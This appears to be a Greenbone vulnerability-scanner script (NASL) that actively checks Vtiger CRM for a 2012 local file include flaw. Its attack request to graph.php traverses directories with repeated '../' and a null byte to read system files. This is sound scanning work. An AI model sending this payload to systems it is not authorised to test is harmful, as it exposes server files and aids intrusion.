Vtiger CRM LFI Vulnerability (Aug 2012) - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vtiger:vtiger_crm";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103541");
  script_version("2026-05-07T06:32:13+0000");
  script_tag(name:"last_modification", value:"2026-05-07 06:32:13 +0000 (Thu, 07 May 2026)");
  script_tag(name:"creation_date", value:"2012-08-18 12:55:37 +0200 (Sat, 18 Aug 2012)");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Vtiger CRM LFI Vulnerability (Aug 2012) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_vtiger_crm_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("vtiger/http/detected");

  script_tag(name:"summary", value:"Vtiger CRM is prone to a local file include (LFI) vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view files and
  execute local scripts in the context of the web server process. This may aid in further
  attacks.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55078");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("os_func.inc");
include("traversal_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/graph.php?current_language=" + crap(data: "../", length: 9 * 3) + files[file] +
        "%00&module=Accounts&action";

  if (http_vuln_check(port: port, url: url, pattern: file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);